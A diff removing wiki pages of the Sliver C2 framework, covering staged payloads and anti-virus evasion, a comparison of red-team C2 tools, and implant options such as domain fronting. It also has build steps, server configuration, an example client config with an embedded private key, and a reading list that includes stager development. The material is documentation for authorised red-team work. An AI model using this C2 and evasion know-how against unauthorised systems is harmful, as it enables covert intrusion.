- **Stage** - A "stage" or "staged payload" is a method of loading a piece of code, typically over a network, onto a remote machine. Traditionally staging was used in conjunction with exploits that had size limitations. Typically the goal is to execute a small piece of code, i.e. the "stager," which in turn loads a larger piece of code. Staged payloads are still used in this way today, however they are also often useful for bypassing anti-virus detection since the majority of the malicious code is loaded directly into memory. Stages are sometimes number e.g. a "stage 0" will load a "stage 1" which loads a "stage 2" payload.
### Selecting a C2 Framework
You should always choose the right tool for the right job. There are many open source, as well as commercially available C2 frameworks to choose from. A key element to successful red teams, is the ability understand how all these tools work, and when best to apply them given the contextual variables of an operation or action. The [C2 Matrix](https://www.thec2matrix.com/) has a good overview of both commercial and open source frameworks -though the Sliver entry is a bit out of date.
Here is a high level overview of open source frameworks we recommend in addition to Sliver, and some advantages/disadvantages of each:
#### [Sliver](https://github.com/BishopFox/sliver)
Both the Sliver server and implant are written in Golang (the Go programming language). This makes setup of a basic Sliver deployment as easy as running the server binary. The Sliver implant is also written in Golang, which means it's easy to cross-compile to a variety of platforms. However, the tradeoff here is that the executable files (e.g., a .exe) can be sizable (up to 20Mb depending on options), as in life nothing is free.
#### [Mythic](https://github.com/its-a-feature/Mythic)
A Mythic deployment consists of several components implemented in a variety of languages, setup of a deployment is relatively automated however isn't as simple as Sliver or Merlin. However, Mythic makes it much easier to integrate 3rd party or modified implants to avoid detection in comparison to Sliver or Merlin. Mythic also features a multi-user web interface making collaboration between operators easy. The stability, features, and stealth of Mythic implants varies depending on the agent implementation you choose, which is important to keep in mind during operational planning.
#### [Merlin](https://github.com/Ne0nd0g/merlin)
The Merlin server and implant are also implemented in Golang.
@@ -1,34 +0,0 @@
Advanced options, as the name suggests, are for advanced users that know what they're doing. Using these options isn't the best user experience and may result in broken or unexpected implant behavior. Only use these options if you understand what they do.
Advanced options are configured per-C2 endpoint and are passed as URL encoded parameters to the C2 URL in the `generate` command. For example:
```
generate --http http://example.com?driver=wininet
```
### HTTP C2 Advanced Options
- `net-timeout` - Network timeout value, parsed by `time.ParseDuration`.
- `tls-timeout` - TLS handshake timeout value, parsed by `time.ParseDuration`.
- `poll-timeout` - Poll timeout value, parsed by `time.ParseDuration`.
- `max-errors` - Max number of HTTP errors before failing (integer parsed by `strconv.Atoi`).
- `driver` - Manually specify the HTTP driver (string). On windows this value can be set to `wininet` to use the `wininet` HTTP library for C2 communication.
- `force-http` - Set to `true` to always force the use of plaintext HTTP.
- `disable-accept-header` - Set to `true` to disable the HTTP accept request header.
- `disable-upgrade-header` - Set to `true` to disable the HTTP upgrade request header.
- `proxy` - Manually specify HTTP proxy, this value is only used with Go HTTP driver, and the format should be one that is accepted by the Go HTTP library. You must specify a URI scheme with the hostname of the proxy. For example, `?proxy=http://myproxy.corp.com:8080`
- `proxy-username` - Specify a proxy username. Only valid with the Go HTTP driver.
- `proxy-password` - Specify the proxy password. Only valid with the Go HTTP driver.
- `ask-proxy-creds` - Set to `true` to ask the user for HTTP proxy credentials. Only valid when used with the `wininet` HTTP driver.
- `host-header` - Used for domain fronting.
### DNS C2 Advanced Options
- `timeout` - Network timeout value, parsed by `time.ParseDuration`.
- `retry-wait` - Upon query failure, wait this amount of time before retrying.
- `retry-count` - Upon query failure, retry this many times before failing.
- `workers-per-resolver` - Number of worker goroutines per functional DNS resolver.
- `max-errors` - Max number of query errors before failing (integer parsed by `strconv.Atoi`).
- `force-base32` - Always use Base 32 encoding.
- `force-resolv-conf` - Force the use of a provided `resolv.conf`. Note that you'll need to URL encode the newlines/etc of the file contents into the parameter.
- `resolvers` - Force the use of specific DNS resolvers. You can supply more than one by separating them with `+`, i.e. `...?resolvers=1.1.1.1+9.9.9.9`
@@ -1,52 +0,0 @@
⚠️ **IMPORTANT:** This content was NOT created by the Sliver authors. Please keep in mind it may be out of date or contain slight inaccuracies:
### Books
- https://www.amazon.com/Adversarial-Tradecraft-Cybersecurity-real-time-computer/dp/1801076200/
### Videos
- https://youtu.be/3R6WKUgN0K4?t=456
- https://www.youtube.com/watch?v=QO_1UMaiWHk
- https://www.youtube.com/watch?v=izMMmOaLn9g
- https://www.youtube.com/watch?v=qIbrozlf2wM
- https://www.youtube.com/watch?v=CKfjLnEMfvI
### Blogs
- https://bishopfox.com/blog/passing-the-osep-exam-using-sliver
- https://notateamserver.xyz/sliver-101/
- https://dominicbreuker.com/post/learning_sliver_c2_01_installation/
- https://vk9-sec.com/how-to-set-up-use-c2-sliver/
- https://0x90-1.gitbook.io/sliver/
- https://blog.ecapuano.com/p/so-you-want-to-be-a-soc-analyst-part-ea2
- https://wsummerhill.github.io/redteam/2023/07/25/Sliver-C2-Usage-for-Red-Teams.html
- https://rootsecdev.medium.com/hacking-active-directory-with-sliver-c2-19d7ceabbf13
- https://dev.to/living_syn/sliver-and-cursed-chrome-for-post-exploitation-4gnk
### Opsec Blogs
- https://tishina.in/opsec/sliver-opsec-notes
### Development Blogs
- https://github.com/thelikes/blog/blob/master/posts/sliver-bof-dev-quickstart.md
- https://medium.com/@youcef.s.kelouaz/writing-a-sliver-c2-powershell-stager-with-shellcode-compression-and-aes-encryption-9725c0201ea8
- https://security.humanativaspa.it/customizing-sliver-part-1/
- https://security.humanativaspa.it/customizing-sliver-part-2/
- https://security.humanativaspa.it/customizing-sliver-part-3/
### Detection & Analysis
- https://www.immersivelabs.com/blog/detecting-and-decrypting-sliver-c2-a-threat-hunters-guide/
- https://blogs.vmware.com/security/2023/01/detection-of-lateral-movement-with-the-sliver-c2-framework.html
- https://michaelkoczwara.medium.com/sliver-c2-implant-analysis-62773928097f
- https://blog.tofile.dev/2021/09/04/sliver.html
- https://bherunda.medium.com/hunting-detecting-smb-named-pipe-pivoting-lateral-movement-b4382bd1df4
### Threat Intel Reports
- https://www.microsoft.com/security/blog/2022/08/24/looking-for-the-sliver-lining-hunting-for-emerging-command-and-control-frameworks/
- https://www.cybereason.com/blog/sliver-c2-leveraged-by-many-threat-actors
- https://www.team-cymru.com/post/sliver-case-study-assessing-common-offensive-security-tools
- https://www.ncsc.gov.uk/files/Advisory%20Further%20TTPs%20associated%20with%20SVR%20cyber%20actors.pdf
@@ -1,97 +0,0 @@
You'll want to compile from a MacOS or Linux machine, compiling from native Windows in theory is possible, but none of the asset scripts are designed to run on Windows, you can cross-compile the Windows server/client binaries from a better operating system like Linux or MacOS. If you only have a Windows machine see "Windows Builds" below (TL;DR use WSL).
### Compile From Source (No Docker)
From scratch without Docker, requirements for compiling:
- Go v1.20 or later, though we recommend Go v1.21
- `make`, `sed`, `tar`, `curl`, `zip`, `cut` commands; most of these are installed by default but you may need to install `make`, `curl`, and `zip` depending on your distribution. On MacOS you may need to install XCode and accompanying cli tools.
**IMPORTANT:** The Sliver Makefile requires version information from the git repository, so you must `git clone` the repository. Using GitHub's "download zip" feature may omit the `.git` directory and result in broken builds.
#### Compiling
First git clone the repository:
```
$ git clone https://github.com/BishopFox/sliver.git
$ cd sliver
```
The `master` branch will contain the latest Sliver features, however only release version of Sliver are recommended for production use. It is strongly recommended to checkout the latest tagged release branch when compiling from source unless you're a developer:
```
$ git checkout tags/v1.5.39
```
Sliver embeds its own copy of the Go compiler and a few internal tools, the first time your run `make` a bash script will run to download these assets to your local system. This means the first build will take much longer than subsequent builds, especially if your internet connection is slow.
By default `make` will build whatever platform you're currently running on:
```
$ make
```
This will create `sliver-server` and `sliver-client` binaries.
#### Cross-compile to Specific Platforms
You can also specify a target platform for the `make` file, though you may need cross-compilers (see below):
```
$ make macos
$ make macos-arm64
$ make linux
$ make linux-arm64
$ make windows
```
### Docker Build
The Docker builds are mostly designed for running unit tests, but can be useful if you want a "just do everything" build, you just need to have Docker installed on the machine. First `git clone` the Sliver repo, then run the `build.py` script (the script isn't required but has a few short cuts see `./build.py --help`). Alternatively, execute the following command:
```
docker build -t sliver .
```
The Docker build includes mingw and Metasploit, so it can take a while to build from scratch but Docker should cache the layers effectively. Sliver will also run it's unit tests as part of the build, and that takes a few minutes too.
### Windows Builds
**NOTE:** Starting with v1.1.0 in order to cross-compile Windows builds you'll need `mingw` on your system:
- Kali/Ubuntu/Debian `sudo apt install mingw-w64`
- MacOS `brew install mingw-w64`
If all you have is a Windows machine, the easiest way to build Sliver is using [WSL](https://docs.microsoft.com/en-us/windows/wsl/install-win10) and following the Linux/cross-compile instructions above. To cross-compile a native Windows binary use `make windows` and copy it to your Windows file system (i.e. `/mnt/c/Users/foo/Desktop`) and run it using a terminal that supports ANSI sequences such as the [Windows Terminal](https://github.com/microsoft/terminal).
## Developers
If you want to modify any of the `.proto` files you'll need to setup a few additional tools to regenerate the `.pb.go` files.
- Protoc v3.19.4 or later
- Protoc-gen-go v1.27.1
- Protoc-gen-go-grpc v1.2.0
#### `protoc`
First install your platform's version of `protoc` v3.19.4 or later:
https://github.com/protocolbuffers/protobuf/releases/latest
Ensure that correct `protoc` version is on your `$PATH`, you can check with a simple `protoc --version`
#### `protoc-gen-go` `protoc-gen-go-grpc`
Assuming `$GOPATH/bin` is on your `$PATH` simply run the following commands to install the appropriate versions of `protoc-gen-go` and `protoc-gen-go-grpc`:
```
go install google.golang.org/protobuf/cmd/protoc-gen-go@v1.27.1
go install google.golang.org/grpc/cmd/protoc-gen-go-grpc@v1.2.0
```
Ensure that these are both on your `$PATH` after running the commands, if not you probably need to add `$GOPATH/bin` to your `$PATH`. To regenerate the Protobuf and gRPC files run:
```
$ make pb
```
@@ -1,86 +0,0 @@
# Server Configuration
### General Server Configuration
Starting in version 1.0.0 the Sliver server has a configuration file located the `configs` sub-directory of the [`SLIVER_ROOT_DIR`](https://github.com/BishopFox/sliver/wiki/Environment-Variables#assets), by default this will be `~/.sliver/configs/server.json`. If no configuration file exists, a default configuration will be generated and written to disk on startup. The default configuration is shown below:
#### Default Server Config
```json
{
"daemon_mode": false,
"daemon": {
"host": "",
"port": 31337
},
"logs": {
"level": 4,
"grpc_unary_payloads": false,
"grpc_stream_payloads": false
}
}
```
#### Configuration Options
- `daemon_mode` - Enable [daemon mode](https://github.com/BishopFox/sliver/wiki/Daemon-Mode)
- `daemon` - An object containing options related to `daemon_mode`, these values are only used when `daemon_mode` is set to `true`.
- `host` - What network interface to bind the `daemon_mode` client listener to. By default this is an empty string, which indicates binding to all interfaces.
- `port` - TCP port to bind the `deamon_mode` client listener to.
- `logs` - An object containing configure options for server logs
- `level` - The `logrus` logging level (1 - 5), default this is set to `4`, which is the`INFO` level; increasing this value increases the verbosity of the logs e.g. `DEBUG` is `5` and `SILENT` is `1`
- `grpc_unary_payloads` - Log gRPC unary payloads
- `grpc_stream_payloads` - Log gRPC streaming payloads
## Database Configuration
Starting in version v1.1.0 Sliver supports SQL database configurations, by default this configuration file is located at `~/.sliver/configs/database.json`:
#### Default Database Configuration
```json
{
"dialect": "sqlite3",
"database": "",
"username": "",
"password": "",
"host": "",
"port": 0,
"params": null,
"max_idle_conns": 10,
"max_open_conns": 100,
"log_level": "warn"
}
```
#### Configuration Options
- `dialect` - Defines the type of database to connect to, Sliver supports `mysql`, `postgresql`, and `sqlite3`. By default an internal version of `sqlite3` is used, which is saved to `~/.sliver/sliver.db` by default.
- `database` - The name of the database to connect to, note that this option is ignored when using `sqlite3`.
- `username` - Database username.
- `password` - Database password.
- `host` - Database host.
- `port` - Database TCP port.
- `params` - Is a key/value string map that can be used to pass dialect specific options to the DSN/connection string. This can be used for example to enable SSL/TLS on certain database connections.
- `max_idle_conns` - Max idle connections in the database connection pool.
- `max_open_conns` - Max open connections in the database connection pool.
- `log_level` - Configures the log level for database logging, can be set to: `silent`, `error`, `warn`, or `info`. Default level is `warn`, note that setting this option to `info` may result in sensitive information being logged to disk!
# Client Configuration
### Operator
Client configurations must be generated by the server (they contain per-user key pairs). For more details see [multiplayer mode](https://github.com/BishopFox/sliver/wiki/Multiplayer-Mode), and example configuration is shown below. Client configuration files can be copied into `~/.sliver-client/configs/`:
```json
{
"operator": "moloch",
"lhost": "localhost",
"lport": 31337,
"ca_certificate": "-----BEGIN CERTIFICATE-----\nMIIBoTCCASegAwIBAgIRAPhwFTptJKJM4Bef71nA29YwCgYIKoZIzj0EAwMwCzEJ\nMAcGA1UEChMAMB4XDTIwMDExNDIyNTY1NloXDTIzMDExMzIyNTY1NlowCzEJMAcG\nA1UEChMAMHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEmvGJZ8zDqLxge2PfhK1QcdOi\n6kEV8vgz/S1fSiU9h21JDVaX+FFhG2cYIzr1Q3zE2Ml+pUdnwUSk24pFFTUhjlsO\n4H2YQC/W46DXSa8VQdvpfDaTPYLzXuBhsdVcn2rdo08wTTAOBgNVHQ8BAf8EBAMC\nAqQwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMA8GA1UdEwEB/wQFMAMB\nAf8wCwYDVR0RBAQwAoIAMAoGCCqGSM49BAMDA2gAMGUCMQDOj0sVrVoJSkN4qiqn\nS9wMFNeVOZ+5TVZOOpTn19nc4C/wq9jwdYRHW1dlmvWu2LMCMCm2y1TkaWLa/i4t\nArTCIiCmNVRxAR1xFsWama9yv7wFY0+5xKS7W944418v0jYJKA==\n-----END CERTIFICATE-----\n",
"private_key": "-----BEGIN EC PRIVATE KEY-----\nMIGkAgEBBDBido1KtKSwQah/WIoGkDZDX2WPXdexUVAmi0tf6Pd9vK5pfpt2II+n\n8BqkV0ifyjugBwYFK4EEACKhZANiAATHATh7e8uX/MN5mokguQf4ywXgTaihYD//\nyraEUcZAYsrCtDHmdAH356GPrxlPSpwyWhFV3fIQJKI2Hf/8/mAd3wqCGQQzq5Mt\ncM0B36+vP9wOGsTI/tc32+0glRZoxo8=\n-----END EC PRIVATE KEY-----\n",
"certificate": "-----BEGIN CERTIFICATE-----\nMIIBiTCCAQ+gAwIBAgIQZLa8QUXWDnuht3G9+g9yKTAKBggqhkjOPQQDAzALMQkw\nBwYDVQQKEwAwHhcNMTkwNzIyMjE1MzAzWhcNMjIwNzIxMjE1MzAzWjAcMQkwBwYD\nVQQKEwAxDzANBgNVBAMTBm1vbG9jaDB2MBAGByqGSM49AgEGBSuBBAAiA2IABMcB\nOHt7y5f8w3maiSC5B/jLBeBNqKFgP//KtoRRxkBiysK0MeZ0AffnoY+vGU9KnDJa\nEVXd8hAkojYd//z+YB3fCoIZBDOrky1wzQHfr68/3A4axMj+1zfb7SCVFmjGj6Mn\nMCUwDgYDVR0PAQH/BAQDAgWgMBMGA1UdJQQMMAoGCCsGAQUFBwMCMAoGCCqGSM49\nBAMDA2gAMGUCMH0hbeghZfMkhp9Wf2a7eqj8IruwKH6vQql/6nxQ8aunfCUUxWo8\nOrxxaqp+bGCCCQIxAK5Icqww8m9llhprfzENaFZUCkpyvBMm9EB8B69SBFBHcVFm\n7bqHjFFMH39g2JCy9Q==\n-----END CERTIFICATE-----\n"
}
```
**Note:** The `operator` field in this configuration file only modifies the value displayed by the client when selecting configurations, modifying it will not change what name the server uses to identify the user. The server determines the user based on the `CommonName` in the certificate. If you want to change the user name you need to regenerate the client configuration with the new name.
Loaded 100 of 4771 files, more files were not shown because too many files have changed in this diff. Show more